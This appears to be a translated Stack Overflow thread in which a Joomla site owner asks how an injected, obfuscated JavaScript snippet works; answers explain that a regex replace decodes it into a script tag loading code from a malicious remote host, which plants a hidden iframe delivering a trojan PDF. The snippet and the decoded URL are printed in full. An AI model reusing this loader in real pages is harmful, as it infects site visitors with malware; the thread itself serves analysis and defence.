Como funciona este script de infecção de site?

99

Meu Joomla! site foi hackeado repetidamente. Alguém, de alguma forma, conseguiu injetar o seguinte lixo nos principais scripts de php, mas não quero falar sobre a configuração do Joomla. O site não é muito visitado (às vezes temo ser o único visitante desse site ...) e não me importo muito em ter o site novamente instalado e funcionando. Vou lidar com isso eventualmente.

Minha pergunta é, como esse lixo funciona? Eu olho para ele e não vejo como isso consegue fazer algum mal? O que ele faz é tentar baixar um arquivo PDF chamado ChangeLog.pdf, que está infectado com um trojan e depois de aberto irá congelar seu Acrobat e causar estragos em sua máquina. Como isso faz, eu não sei, eu não me importo. Mas como a seguinte parte do script invoca o download?

<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->

ESET detectou este código como JS / TrojanDownloader.Agent.NRO trojan

Peter Perháč
fonte
41
Por favor, ninguém saia para verificar o link por curiosidade!
DOK de
1
Sim, não vagueie tentando descobrir o que está acontecendo, a mágica está na codificação simples da URL e subsequente decodificação / análise da string usando o Replace / RegEx que você vê no final da linha.
DoctorLouie
13
"pedaço de script" parecia outra coisa, a princípio.
Aditya MP de

Respostas:

181

Observe a replacechamada após a string bagunçado gigante: .replace(/#|\$|@|\^|&|\(|\)|\!/ig, '').

Ele remove a maioria dos caracteres especiais, transformando-o em um URL normal:

evil://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

(Eu mudei manualmente http:para evil:)

Observe que a regex poderia ter sido simplificada para .replace(/[#$@^&()!]/ig, '')

Se você olhar o script, verá que é um script muito simples que injeta um IFRAME oculto contendo o caminho /index.php?ysdo mesmo domínio.

Solicitei essa página no Fiddler e ela não tinha conteúdo.

SLaks
fonte
6
Acho que o script que fornece o conteúdo do iframe é feito de forma a não iniciar o download do pdf toda vez. Pode haver uma chance de 1 em 10 ou algo parecido. Ele não tentou baixar o pdf toda vez que atualizava a página do joomla. Pode ser até 1 em 100 ... quem sabe?
Peter Perháč de
174
+1 por mencionar que o código poderia ter sido escrito com mais eficiência. :)
Pekka
8
@Pekka, acho que foi escrito deliberadamente dessa forma para ser mais obscuro
Visão elíptica de
7
@Elipticalview Com certeza. Se o escritor estivesse preocupado com a eficiência, certamente não teria usado um substituto RegEx para derivar uma string estática. Ri muito.
Dan Bechard
Não vejo qual a utilidade de um modificador de padrão insensível a maiúsculas e minúsculas para um padrão sem letras. Eu estaria usando um +depois da classe de caractere também ... se estiver usando regex.
mickmackusa
34

Essas respostas podem ajudá-lo a entender a natureza do código JavaScript malicioso, mas o que você deve procurar é uma maneira de fechar a lacuna inerente ao mecanismo Joomla. Os frameworks pré-embalados estão sujeitos a brechas, intencionais ou não, especialmente quando você leva em consideração que eles são projetados para funcionar em ambientes UNIX, Mac e Windows.

Meu trabalho requer que eu execute muitos domínios, aplicativos e estruturas em muitos tipos de servidores e sistemas para clientes e para mim. Com o tempo, tenho visto mais e mais bots rastreando esses sistemas em busca de brechas / entradas conhecidas por meio de entradas dos fundos criadas por essas estruturas. Boa coisa quando eu uso qualquer tipo de estrutura, o que raramente faço, certifico-me de renomear a maioria, senão toda a estrutura do arquivo para me livrar dessas lacunas / backdoor irritantes. No mínimo, você pode renomear diretórios, o que confundirá a maioria dos bots, mas minha maneira é eliminar completamente as referências que dão pistas sobre a natureza da estrutura, o que inclui renomear toda a estrutura do arquivo, não apenas os diretórios. Sempre mantenha um mapa das novas convenções de nomenclatura relativas às convenções de nomenclatura antigas para facilitar a inclusão de plug-ins em sua estrutura de base. Depois de pegar o jeito, você pode ir tão longe quanto renomear programaticamente toda a estrutura de arquivos do framework para resultados mais rápidos, isto é especialmente útil quando se tem que lidar com clientes que precisam ser capazes de atualizar seu framework com plug-ins e similares.

DoctorLouie
fonte
1
Apenas não remova informações sobre a fonte da estrutura, isso seria totalmente errado.
DoctorLouie
2
Oooo, obrigado. Essa é uma boa resposta. Na verdade não respondendo à pergunta, mas ainda assim +1, já que esta foi realmente uma leitura muito interessante e boas sugestões feitas. Ta
Peter Perháč
20

Ele apenas substitui o regex no url do script para fornecer a você

NOTA: NÃO SIGA O LINK ABAIXO (inserido **para impedir os passadores de cópias)

http**://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

Enquanto o src

Russ Cam
fonte
simples assim, não é? meu Deus ... fui pwnd por ASSIM de novo :)
Peter Perháč
23
Esse é um URL hilário.
Jordan em
@Josh - Depende de você, eu não tentei, então não posso te dizer exatamente o porquê. Suspeito que pode haver scripts maliciosos na página. Você pode fazer isso por sua própria conta e risco!
Russ Cam
8

Ele usa a função replace para substituir os chars lixo usando regex, nada de errado com o código:

 ........replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')
Sarfraz
fonte
7

Seu script de carregamento de

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

E esse script carrega iframecom visibilidadehidden

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/index.php?ys
VOCÊS
fonte
2

Quando você lê tudo, descobre que é uma string seguida por um comando de substituição.

Raj More
fonte
2

Eu tenho o mesmo sript em minhas páginas em arquivos de índice *. *. Estou escrevendo meu próprio código em PHP. Minha pergunta não é como isso funciona, mas estou perguntando como proteger se você conhece seus backdoors. Eu mudei os formulários e li $ _POST e $ _GET com a substituição de <> e http: // etc.

Kulik
fonte
2

Meus dois centavos. Você / pode instalar uma ferramenta de backup Joomla como o Joomlapack?

Eu o configurei para ser executado por meio de um script CHRON para manter as mercadorias à mão no caso de os assaltantes começarem a assaltar.

Qual versão do Joomla você está executando?

As versões 1.0.X não estão mais sendo atualizadas e sua idade está realmente começando a aparecer. Você deve fazer um backup e planejar a atualização para 1.5 e antecipar as maravilhas do 1.6

Greenkoi
fonte